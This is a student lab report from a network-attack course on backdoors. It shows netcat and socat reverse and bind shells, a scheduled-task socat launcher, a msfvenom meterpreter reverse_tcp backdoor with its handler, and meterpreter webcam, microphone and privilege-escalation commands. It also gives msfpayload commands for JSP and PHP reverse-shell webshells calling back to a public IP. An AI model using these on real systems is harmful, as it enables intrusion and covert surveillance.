2018-2019-2 网络对抗技术 20165324 Exp2: 后门原理与实践

课程学习:

后门

  • 后门:是不经过正常认证流程而访问系统的通道,存在与编译器、操作系统、固件和应用中等等。
  • 后门工作流程:程序→植入→运行→免杀。

后门工具:NC(netcat)

  • 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

NC命令

  • 端口扫描
  • chat Server
  • 文件传输
  • 目录传输
  • 加密数据
  • 流视频
  • 打开shell
  • 反向shell

课下实验

实验准备:

  • 获取IP地址:windows系统IP地址为192.168.44.130、linux系统IP地址为192.168.44.128。
  • 软件下载:码云

实验内容:

  1. 使用netcat获取主机操作Shell,cron启动 (0.5分)
  2. 使用socat获取主机操作Shell, 任务计划启动 (0.5分)
  3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
  4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
  5. 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

实验2.1 netcat的使用

window获取linux系统
  • Windows 打开监听:ncat.exe -l -p 5324
  • Linux反弹连接Win,输入命令nc 192.168.44.130 -e /bin/sh
  • Windows下获得一个linux shell,可运行任何指令

linux获取windows系统
  • Linux运行监听指令,输入命令nc -l -p 5324
  • Windows反弹连接Linux,在ncat目录下输入命令ncat.exe -e cmd.exe 192.168.44.128 5324
  • linux下获得一个windows cmd

传输文件
  • 用nc命令传输文件的格式如下:
目的主机监听:

nc -l 监听端口 > 要接收的文件名

源主机发起请求:

nc 目的主机ip 目的端口
  • 将windows作为目的主机,5324作为端口,接受的文件名为hcj.txt。命令行输入:ncat -l 5324 > hcj.txt开启监听。
  • 将kali作为原主机发送请求,命令行输入:nc 192.168.44.130 5324 < hcj.txt
  • windows下的ncat目录中出现文件。

实验2.2 socat的使用

linux下源码安装
wget http://www.dest-unreach.org/socat/download/socat-1.7.0.1.tar.gz
tar -zxvf socat-1.7.0.1.tar.gz
cd socat-1.7.0.1
./configure --disable-fips
make && make install
  • socat:加强版的netcat。
linux获取windows权限
  • windows下操作:

    1. 在Windows7中打开开始菜单,搜索管理工具并打开:
    2. 找到任务计划程序并打开,点击创建任务
    3. 点击触发器选项卡,选择新建,然后将开始任务设置为工作站锁定时
    4. 点击常规选项卡,输入名称(学号)
    5. 再点击操作选项卡,点击新建,程序或脚本中选择socat.exe路径,在添加参数一栏中写tcp-listen:5324 exec:cmd.exe,pty,stderr(作用是把cmd.exe绑定到端口5324,同时把cmd.exe的stderr重定向到stdout上),点击确定保存设置
    6. 点击右栏中的显示所有正在运行的任务,找到刚刚创建的20165324任务,右键点击运行,此时会弹出一个黑色的框框表明成功运行

实验2.3 使用MSF meterpreter、ncat获取主机Shell

MSF meterpreter
  • 是一个平台能生成后门程序。这个平台包括后门的

    1. 基本功能(基本的连接、执行指令),
    2. 扩展功能(如搜集用户信息、安装服务等功能),
    3. 编码模式,
    4. 运行平台,
    5. 运行参数
  • meterpreter的剖析:使用msf生成的meterpreter的shellcode,这段shellcode就只干了如下事情:连接服务器,接收载荷,并将控制权转移到载荷。
实验步骤:
  • window可执行文件复制到linux下的/home目录
  • 命令行输入:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.44.128 LPORT=5324 -f exe > 20165324_backdoor.exe
  • 参数说明:
    1. LHOST为攻击者的IP地址,这里使用的是反弹连接攻击
    2. -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode,Payload中包含有需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
    3. -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中
    4. -e 使用的编码器,用于对shellcode变形,为了免杀
    5. -i 编码器的迭代次数。如上即使用该编码器编码5次
    6. -b badchar是payload中需要去除的字符
    7. LHOST 是反弹回连的IP
    8. LPORT 是回连的端口
    9. -f 生成文件的类型
    10. 输出到哪个文件

    11. reverse_tcp表示基于tcp的反向链接反弹shell

基于http方式的反向连接

  • 生成的文件通过ncat命令复制到Windows中。
  • MSF打开监听:
在Kali Linux中输入msfconsole命令
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.44.128 //注意此处应为Linux的IP!
set LPORT 5324 //5324为端口号
show options
exploit
  • windows下运行20165324_backdoor.exe,双击运行。
  • linux获取windows的主动连接,得到远程控制shell。

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 入侵成功后,输入help,查看meterpreter提供的命令及功能。
  • 常用命令及功能:具体看help给定的。
    1. download +file path:下载文件
    2. upload+ file path:上传文件
    3. cat filename:查看文件内容
    4. sysinfo:显示远程主机的系统信息
    5. execute -f file:执行一个命令,如execute -H -f otepad.exe,参数-H表示隐藏,在后台执行。
    6. screenshot:抓图
    7. webcam_snap:拍照
    8. webcam_stream:录像
    9. record_mic:录音
    10. getsystem:命令提权
  • 如图(摄像头没有,程序提示错误。命令提权失败)

实验总结及问题

  • MSF meterpreter的错误使用:在生成20165324_backdoor.exe文件时,错误的将windows系统下的一个exe文件传输给linux下,进而对该文件使用meterpreter命令进行修改,实验无果。
  • 解决方法:20165324_backdoor.exe该文件是由MSF meterpreter命令直接生成。
  • 拓展:生成其他的脚本代码:
msfpayload java/jsp_shell_reverse_tcp LHOST=58.60.195.226  LPORT=1234 R > balckrootkit.jsp

msfcli multi/handler PAYLOAD=java/jsp_shell_reverse_tcp LHOST=58.60.195.226 LPORT=1234 E

msfpayload php/reverse_php  LHOST=58.60.195.226 LPORT=1234 R > balckrootkit.php

msfcli multi/handler PAYLOAD=php/reverse_php  LHOST=58.60.195.226 LPORT=1234 E

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.167| msfencode -t asp -o webshell.asp

msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.0.167 LPORT=443 E
  • 实验体会,本次实验只能在理想状态下进行,很多步骤在现实中无法实现,防火墙和入侵检测系统都会对后门程序进行隔离和拒绝。

    总体而言,还需要自己不断的学习,期待下一次的免杀实验,自己能进一步的学习好这门课程。

链接

软件源

2018-2019-2 网络对抗技术 20165324 Exp2: 后门原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  2. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  3. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  4. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

  5. 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...

  6. 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...

  9. 2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践 1.基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 下载自己不熟悉的软件时含有病毒. 网络钓鱼, ...

  10. 2018-2019-2 网络对抗技术 20165236 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165236 Exp2 后门原理与实践 一.实验内容 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...

随机推荐

  1. jQuery缓存机制(一)

    1.首先看一下涉及到jQuery缓存机制的代码结构: // 定义一些jQuery内部的变量,方便后续使用 var data_user, data_priv, // 后续会被赋值为两个Data对象 rb ...

  2. 关于android性能,内存优化

    转:http://www.starming.com/index.php?action=plugin&v=wave&tpl=union&ac=viewgrouppost& ...

  3. Android 控制闪光灯

    首先闪光灯可以用android.hardware.camera来控制. 1.添加权限 <uses-permission android:name="android.permission ...

  4. Android 查看system/bin目录下支持哪些命令?

    C:\Users\yonghuming>adb shell "ls system/bin" >log acpiadbdamapp_processapp_process3 ...

  5. 题目1161:Repeater(规律输出图形)

    题目1161:Repeater 题目链接:http://ac.jobdu.com/problem.php?pid=1161 具体分析:https://github.com/zpfbuaa/JobduI ...

  6. linux各种版本下载地址

    本文转载地址:http://52199999.blog.51cto.com/740826/290179 觉得好大家给顶顶,先谢谢了!呵呵 首先提供两个镜像站:http://mirrors.sohu.c ...

  7. 浅谈P2P、P2C 、O2O 、B2C、B2B、 C2C的区别

    相信有很多人对P2P.P2C .O2O .B2C.B2B. C2C不是很熟悉,甚至是云里雾里,每天看着这些常见又陌生的名词,如果有人跟你说 让你解释它的含义,金融的小伙伴们是不是瞬间石化了,尤其是做淘 ...

  8. Unity3D笔记 英保通八 关节、 布料、粒子系统

    一.关节1.1..链条关节 Hinge joint :他可以模拟两个物体间用一根链条连接在一起的情况,能保持两个物体在一个固定距离内部相互移动而不产生作用力,但是达到固定距离后就会产生拉力 1.2.. ...

  9. iptables黑/白名单设置(使用ipset 工具)

    ipset介绍 ipset是iptables的扩展,它允许你创建 匹配整个地址集合的规则.而不像普通的iptables链只能单IP匹配, ip集合存储在带索引的数据结构中,这种结构即时集合比较大也可以 ...

  10. wpgcms---碎片管理的使用

    这里很神奇的是碎片管理是编辑器,所以拿到的配置都是富文本,所以在前台作为字段来使用的时候,需要过滤掉字符串. 具体示例: {% set qq = wpg.fragment.get("qq&q ...